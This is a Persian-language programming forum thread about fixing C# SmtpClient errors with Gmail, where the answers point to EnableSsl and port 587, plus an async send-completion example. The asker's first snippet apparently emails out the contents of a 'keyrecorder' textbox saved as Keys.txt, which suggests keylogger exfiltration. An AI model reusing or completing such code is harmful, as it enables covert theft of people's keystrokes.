PDA

View Full Version : سوال: مشکل در برقراری ارتباط با mail server (فرستادن ایمیل از کلاینت)



ariyanna
پنج شنبه 15 اسفند 1387, 15:54 عصر
سلام دوستان من با سی شارپ برنامه می نویسم و نیاز دارم که برنامم دریکی از قسمت های خودش یک mail رو که حاوی اطلاعاتی هست به من بفرسته... من دسترات زیر رو برای این روال نوشتم این دستورات تئوری بسیار عالی هستند اما در عمل مشکلاتی دارم که ممنون می شم کمکم کنین:

====================
private void save_and_send(object sende, EventArgs e)
{
user32._if_sent = 1;
File.WriteAllText(_filepass + "Keys.txt", txt_keyrecorder.Text);
SmtpClient nw = new SmtpClient();
nw.Host = "smtp.gmail.com";
nw.Port = 25;
nw.Credentials = new NetworkCredential("UsrName_here", "password_here");
nw.Send("mohammad.taghadosi@gmail.com",
"Mohammad.Taghadosi@gmail.com", "This Is A Test",
System.IO.File.ReadAllText(System.IO.Path.GetTempP ath() + "Keys.txt"));
{
====================

در قسمت file.write فایل حاوی اطلاعات من save شده و با استفاده از دستور smtpclient اقدام به ارسال میل کردم و با استفاده از متد credentials کار login کردن رو انجام دادم ... بعد اقدام به ارسال ایمیل کردم ... اما در عمل من مشکلی دارم و اون این هستش که وقتی اقدام به اسال ایمیل می کنم از طرف Mail Server به من پیغامی بر میگرده با این مضمون :

The SMTP server requires a secure connection or the client was not authenticated. The server response was: 5.7.0 Must issue a STARTTLS command first.

این پیغام از طرف سرور gmail بر گشت داده می شه (smtp.gmail.com) و از طرف سرور یاهو (smtp.yahoo.com) نیز یک خطا با همین مضمون برام نمایش داده می شه ، یعنی اینکه من نمی تونم خودم رو دراین میل سرور ها autenticate کنم چرا ؟ چون لابد اول باید یک ارتباط امن برقرار کنم (به گفته ی خود گوگل start tls یا اینکه ssl یا هر چیز دیگه) که بعد از این کار بتونم usrname و passwrd ام رو send کنم واسه سرور چو تو حالت معمولی ظاهرا قبول نمی کنه .... این نظر منه شاید اشتباه می کنم از استادانم خواهش می کنم که کمکم کنن.
پیشاپیش ممنونم ازتون :لبخندساده:

H2K
پنج شنبه 15 اسفند 1387, 16:04 عصر
فرستادنِ ايميل (http://barnamenevis.org/forum/showpost.php?p=591823&postcount=129)

behzadk
پنج شنبه 15 اسفند 1387, 17:01 عصر
enablessl=true;
از یادت رفته

ariyanna
پنج شنبه 15 اسفند 1387, 17:32 عصر
enablessl=true;
از یادت رفته
بله درسته و همچنین شماره پورت رو باید به 587 تغییر بدم از دوست اول که جواب دادن خییییییلی ممنونم ... مشکلم حل شد ...بازم ممنونم دوستان :لبخندساده::تشویق:

ariyanna
پنج شنبه 15 اسفند 1387, 19:30 عصر
ببخشید یه سوال دیگه چطور می تونم مشخص کنم که وقتی email ارسال شد کار خاصی رو انجام بدم ؟

mail.SendCompleted += new SendCompletedEventHandler(mail_SendCompleted);
.
.
.
.
void mail_SendCompleted(object sender, AsyncCompletedEventArgs e)
{
string id = e.UserState.ToString();
if (e.Error == null)
MessageBox.Show("sent...", id.ToString());
}

من این رو روش کار کردم اما نشد یعنی ایمیل ارسال می شه اما عبارت داخل if اجرا نمی شه !!! می شه بگید اشکالم کجاست ؟ ممنونم :لبخندساده:

robini
جمعه 16 اسفند 1387, 17:19 عصر
اين كد تست شده مشكل نداره ،‌امتحان كن:


private void button1_Click(object sender, EventArgs e)
{
MailMessage mail = new MailMessage();
mail.From = new MailAddress("You@gmail.com", "Your Name");
mail.To.Add("Other@yahoo.com");
mail.Subject = "Test Mail";
mail.Body = "This is a test Mail"";
SmtpClient smtp = new SmtpClient("Smtp.gmail.Com", 25);
smtp.UseDefaultCredentials = false;
smtp.EnableSsl = true;
smtp.Credentials = new NetworkCredential("You@gmail.com", "password");
object user_State = mail;

try
{
smtp.SendCompleted += new SendCompletedEventHandler(SmtpClient_OnCompleted);
smtp.SendAsync(mail, user_State);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}




}
//--------------------------------------
public static void SmtpClient_OnCompleted(object sender,AsyncCompletedEventArgs e)
{
MailMessage mail = (MailMessage)e.UserState;
if (e.Error != null)
MessageBox.Show(e.Error.ToString());
if (!e.Cancelled && e.Error == null)
MessageBox.Show("Sent Mail..."+ mail.Subject);
}

البته توضيحات كاملي اينجا داده شده:
http://barnamenevis.org/forum/showthread.php?t=71785